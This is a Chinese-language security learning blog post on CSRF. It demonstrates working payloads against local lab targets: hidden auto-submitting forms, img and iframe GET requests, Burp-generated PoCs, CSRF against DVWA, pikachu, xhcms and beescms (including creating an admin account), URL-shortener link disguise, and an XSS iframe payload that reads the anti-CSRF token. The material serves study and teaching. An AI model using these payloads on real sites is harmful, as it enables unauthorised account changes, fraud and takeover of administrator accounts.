首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >记一次CSRF的浅学习

记一次CSRF的浅学习

作者头像
用户9691112
发布2023-05-18 11:53:01
发布2023-05-18 11:53:01
55500
代码可运行
举报
运行总次数:0
代码可运行

前言

CSRF只有简单了解,进行二次学习后总结如下,希望对正在学习CSRF的师傅有所帮助(本人只是小白,可能文章会出现问题,还请各位大师傅多多指点)

漏洞相关信息

漏洞成因

受害者在未退出重要网站的情况下出于好奇心或者其他心理访问了某个恶意链接,而这个恶意链接指向某个网站,比如受害者刚刚登录不久的银行网站,就可以在受害者不知情的情况下进行转账交易。 当然,这是个人理解,官方一点的如下

主要成因:浏览器cookie不过期,不关闭浏览器或退出登录,都会默认为已登录状态 次要成因:对请求合法性验证不严格

漏洞定义

CSRF,即Cross Site Request Forgery,译为跨站点请求伪造,看起来似乎与XSS(跨站脚本攻击)是相像的,但两者实际上大相径庭,XSS是获取到网站信任用户的具体信息,进行攻击,而而CSRF则通过伪装成受信任用户进行攻击。对CSRF用一个简单的事例来进行讲解

代码语言:javascript
代码运行次数:0
运行
复制
1、老八访问www.bank.com,登录后存入100元
2、老八存过钱后未关闭网站,浏览其他网站时发现有一个名字为3060显卡100元处理的广告,老八点击访问
3、访问后发现什么也没有,老八大失所望,悻悻的离开网站
4、老八再次查看银行时,发现刚刚的钱被转走了

这个过程是怎么实现的呢,我们看一下这个链接的内容

代码语言:javascript
代码运行次数:0
运行
复制
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://www.bank.com" method="POST">
      <input type="hidden" name="money" value="100" />
      <input type="hidden" name="submit" value="submit" />
    </form>
  </body>
</html>

可以发现当访问它的时候,它自动进行了一个表单的提交,将100块钱进行了转出,而表面是什么也没有的(这个例子存在部分小问题,比如代码中没以有具体写转向了哪里,但不影响整体理解),这个时候老八刚刚存入的100就不翼而飞了。流程图的话,如下所示

漏洞危害

1、篡改目标网站上的用户数据 2、盗取用户隐私数据 3、作为其他攻击向量的辅助攻击手法 4、 传播CSRF蠕虫

常见类型

GET上传

针对GET类型,这个比较简单,我们只需要构造一个虚假链接,在里面添上我们的payload即可,构造如下所示 假设银行转账界面为877.php,代码如下所示

代码语言:javascript
代码运行次数:0
运行
复制
<?php 
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功,金额为 $money");
?>

此时攻击者构造恶意界面为1.php,具体代码如下

代码语言:javascript
代码运行次数:0
运行
复制
<html>
    <a href="http://127.0.0.1:8080/html/877.php?user=hacker&money=100">杀马特团长的故事</a>
</html>

此时我们访问1.php

当受害者出于好奇访问此链接时

代码语言:javascript
代码运行次数:0
运行
复制
<img src="http://bank.com/?money=100&user=hacker" style="display:none;"/>
//这里的style="display:none;"指的是隐藏元素

style="display:none;"讲解具体示例如下 示例代码如下

代码语言:javascript
代码运行次数:0
运行
复制
<html>

<head>

<title></title>

<style type="text/css">

    div{

        background: lightblue;

        width: 200px;

        height: 200px;

    }

    span{

        background: pink;

        

    }

</style>

</head>

<body >

    <div><span>需要隐藏的区域</span></div>

</body>

</html>

此时访问这个界面

而当我们在background: pink;后加上display:none;

代码语言:javascript
代码运行次数:0
运行
复制
<html>

<head>

<title></title>

<style type="text/css">

    div{

        background: lightblue;

        width: 200px;

        height: 200px;

    }

    span{

        background: pink;
        display: none;
        

    }

</style>

</head>

<body >

    <div><span>需要隐藏的区域</span></div>

</body>

</html>

此时访问界面

成功隐藏此界面

POST上传

对于POST类型上传的,我们这个时候需要构造一个表单来进行提交,这个相对GET是比较麻烦的,不过我们这里可以简化一下,使用burpsuite工具来迅速构造出对应的表单,举例如下 银行转账界面仍877.php,其代码如下所示

代码语言:javascript
代码运行次数:0
运行
复制
<?php 
$money=$_POST['money'];
$user=$_POST['user'];
print("向 $user 转账成功,金额为 $money");
?>

我们访问这个界面,自己先赋值一下,获取到参数,然后抓包

发包到重放模块,修改用户名和金额

构造poc

将内容复制到我们的恶意链接,也就是1.php中

代码语言:javascript
代码运行次数:0
运行
复制
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8080/html/877.php/" method="POST">
      <input type="hidden" name="money" value="100" />
      <input type="hidden" name="user" value="hacker" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

此时当用户点击这个恶意链接时,界面如下

token验证

当随机生成token时,有两种方式,一种是通过xss获取当前界面的token,与此同时构造恶意链接,另一种是直接利用burpsuite的CSRF token插件来进行自动更新token

具体的话在下方中靶场实战时进行讲解

攻击思路

一般对于GET型,大多是利用标签来进行攻击,这个方式是有效且快捷的,因此我们这里先大致罗列一下常用的标签 而针对POST型的话,一般都是构造表单,这个的话我们就利用bp的CSRF PoC就可以生成对应的表单。 下面来大致讲解一下GET型时可以利用的标签

常用标签

超链接标签

代码语言:javascript
代码运行次数:0
运行
复制
<a>标签:<a href="http://xxx.com/?user=xx&money=xx"></a>

img标签

代码语言:javascript
代码运行次数:0
运行
复制
<img>标签: <img src="http://xxx.com/?user=xx&money=xx">

iframe标签

代码语言:javascript
代码运行次数:0
运行
复制
<iframe>标签:<iframe src="http://xxx.com/?user=xx&moeny=xx">

由于前两个在之前示例中已经讲过,所以这里不再举例子,这里的话讲解一下iframe标签, 先创建一个银行界面(GET型),命名为877.php,内容如下

代码语言:javascript
代码运行次数:0
运行
复制
<?php 
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功,金额为 $money");
?>

此时我们构造恶意链接,命名为1.php,内容如下

代码语言:javascript
代码运行次数:0
运行
复制
<html>
  <body>
    <iframe src="http://127.0.0.1:8080/html/877.php?user=hacker&money=1000" style= "display:none";>
  </body>
</html>

当我们访问1.php的时候发现全是空白,这是因为style= "display:none";隐藏了元素,当我们把这个去掉的时候

可以发现成功转账了

短链接伪装

当我们使用超链接时,就算用中文来进行掩饰,但下方的超链接仍然会暴露出来,此时如果受害者发现的话就不会再点击这个链接了,这个时候我们可以对链接进行一定的伪装,我们知道一串较长的链接可以通过短地址来进行缩短,因此我们这里就可以通过缩短链接来进行伪装

网上有很多短链接生成工具,这里我随便用一个,链接如下http://ddz.ee/ 输入我们的恶意代码,即http://127.0.0.1:8080/html/877.php?user=hacker&money=1000

将生成的链接放到1.php中,替换到原来的,具体如下图

代码语言:javascript
代码运行次数:0
运行
复制
<html>
<a href="http://ddz.ee/A8PF7">虎哥的东北往事</a>
</body>
</html>

此时我们访问这个1.php

可以发现变成了这个,没有那么明显了,点击过后

成功进行了转账

CSRF漏洞挖掘

CSRF的话,肯定是利用管理员的权限来进行某些操作,所以我们在进行代码审计的时候,可以关注一下后台文件,看是否存在CSRF漏洞

xhcms

登录后台界面,发现有删除文章的权限

抓删除文件时的包 发送到重放模块,利用bp自带的CSRF poc进行恶意语句构造

可以发现这里是未检测token的,因此是极有可能存在CSRF的,我们复制到文件中并命名为xhcms.html

点击访问

访问

注意:这个是在同一个浏览器下的情况,此时只有这个浏览器上仍然存有管理员的信息,能够直接执行语句,当换到其他浏览器时,就无法执行删除语句,访问会跳转到登录界面

beescms

登录后台,发现有添加管理员界面,随便输入一下

抓包,发送到重放模块

未发现Token,可能存在CSRF,这个时候我们自定义信息,接下来利用bp构造poc,得到

代码语言:javascript
代码运行次数:0
运行
复制
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8080/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="admin&#95;name" value="1231" />
      <input type="hidden" name="admin&#95;password" value="1231" />
      <input type="hidden" name="admin&#95;password2" value="1231" />
      <input type="hidden" name="admin&#95;nich" value="1231" />
      <input type="hidden" name="purview" value="1" />
      <input type="hidden" name="admin&#95;admin" value="1231" />
      <input type="hidden" name="admin&#95;mail" value="1&#64;qq&#46;com&#9;&#9;" />
      <input type="hidden" name="admin&#95;tel" value="1234" />
      <input type="hidden" name="is&#95;disable" value="0" />
      <input type="hidden" name="action" value="save&#95;admin" />
      <input type="hidden" name="submit" value="ç&#161;&#174;å&#174;&#154;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

复制到文件中并命名为beescms.html

管理员添加成功

靶场实战

DVWA

low

发现输入修改密码界面,随便输入一下尝试

发现url变化,说明是GET传参,我们可以进行自己构造payload

代码语言:javascript
代码运行次数:0
运行
复制
http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

访问

直接修改了密码,这里的话可见应该是没有什么防护的,但是这个的话在实战中也太明显了,就算构造出了链接,受害者一眼就能看出来这个是修改密码的,也就意味着无法实现CSRF了,这个时候我们该怎么办呢,可以用短链接来缩短链接,给它伪装一下,短链接生成网址 https://www.duanlianjie.net/

访问这个网址,观察url变化

成功修改密码。 此时来看一下源代码

代码语言:javascript
代码运行次数:0
运行
复制
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

不难看出代码中的过滤方式是mysqli_real_escape_string函数,这个函数的作用是转义特殊字符,那么在这里的话它对CSRF是没有影响的,这里的话其实还有一种攻击方式,就是利用burpsuite自带的CSRF poc进行构造,具体过程如下 我们先随便输入一下,然后抓包

利用burpsuite自带的CSRF工具进行构造

放入html文件中,而后访问(此时携带了刚刚在dvwa中的cookie)

成功修改

medium

看一下源代码

代码语言:javascript
代码运行次数:0
运行
复制
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

添加了Refeerer头检验,这个的话是要求来自同一个域,其实也就是要求访问的必须是本地的,但Referer请求头是可以伪造的,具体过程如下 简单输入抓包

这里的话可以看见本地的Referer是127.0.0.1,和Host的是一致的,但正常的情况下是不一致的,Host一般是受害者的,而Referer来源于攻击者

比如Host的地址为192.134.164.132,这个时候攻击者的ip肯定是与Host的不同的,假设是186.123.134.265,这个时候如果请求的话,Referer是http://186.123.134.265,就会因为Referer中不包含192.134.164.132 而无法修改密码,但如果我们文件名包含这个Host地址,那Referer就会变成http://186.123.134.265/192.134.164.132.html,此时就包含了Host地址,就可以成功修改密码,实现CSRF

说了这么多,我们现在来自己进行测试一下,利用burpsuite构造出POC

构造一个html文件,然后将内容复制进去

点击访问

成功修改密码,实现CSRF

High

代码语言:javascript
代码运行次数:0
运行
复制
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以发现多了这个generateSessionToken()函数,这个是用来生成token的,具体介绍如下

代码语言:javascript
代码运行次数:0
运行
复制
Anti-CSRF token机制,用户每次访问该页面时,服务器都会返回一个随机的token(generateSessionToken();),向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

这里的话我们有两种方式

方法一

借助XSS来获取token,这个网页中有一个high的xss漏洞,如果我们通过xss得到token,此时就可以按照之前的方法来进行CSRF了,打开存储型XSS,发现这里限制了输入长度,F12修改一下即可

测试后发现过滤了script,这里的话我们可用其他标签获取token

代码语言:javascript
代码运行次数:0
运行
复制
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

输入后提交,刷新界面就会出现此时的token

这时候按照之前的方法进行CSRF即可,在提交的时候额外带上一个CSRF就可以了

方法二

正常情况下抓包后发包,由于token更新,这个已经失效,访问会变成302

这时候利用burpsuite中的CSRF插件来进行攻击(这个插件可以自动更新token)。在拓展中找到CSRF Token Tracker

安装一下,打开它添加Host和对应的token名

此时再重放

成功修改密码,实现CSRF

pikachu

GET

登录后查看一下

看一下可以修改的信息

发现可以修改的name值,这个时候我们就可以自己构造语句来进行修改信息,构造payload如下

代码语言:javascript
代码运行次数:0
运行
复制
http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=静一静&phonenum=全体目光向我看齐&add=我宣布个事&email=你是个纱布&submit=submit

简单修改一下的话就变成了

代码语言:javascript
代码运行次数:0
运行
复制
<a href="http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=静一静&phonenum=全体目光向我看齐&add=我宣布个事&email=你是个纱布&submit=submit">虎哥的东北往事,点击了解</a>

在能解析HTML的界面上就会变成这样

当把这个放在公网上,受害者点击后就会自动修改个人信息,如下所示

此时就达到了CSRF的目的

POST

对于POST提交的话,这个我们就需要构造html表单了,这个时候就可以借助burpsuite来实现 具体步骤如下 登录后在修改信息处点submit时抓包

右键发送到重放模块

修改信息

构造poc

放至到一个html文件中,当受害者访问时,出现界面

点击后就会发现信息就会被修改

token

这个可以利用burpsuite的CSRF获取token插件来进行攻击,具体步骤如下 在拓展中找到CSRF Token Tracker(作用是自动识别并更新token)

安装后打开,添加Host和name

然后抓包

发送到重放模块,修改信息

此时再查看界面

成功修改了信息,实现CSRF

总结

CSRF的话目前已经不会单独出现了,想要利用的话经常要结合XSS这种,这里主要是学习一下大致思路,待日后遇到具体的CSRF漏洞时,再进行记录。若文章有不当之处,还请各位大师傅多多指教。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022/07/22 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 漏洞相关信息
    • 漏洞成因
    • 漏洞定义
    • 漏洞危害
  • 常见类型
    • GET上传
    • POST上传
    • token验证
  • 攻击思路
    • 常用标签
    • 短链接伪装
  • CSRF漏洞挖掘
    • xhcms
    • beescms
  • 靶场实战
    • DVWA
      • low
      • medium
      • High
    • pikachu
      • GET
      • POST
      • token
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档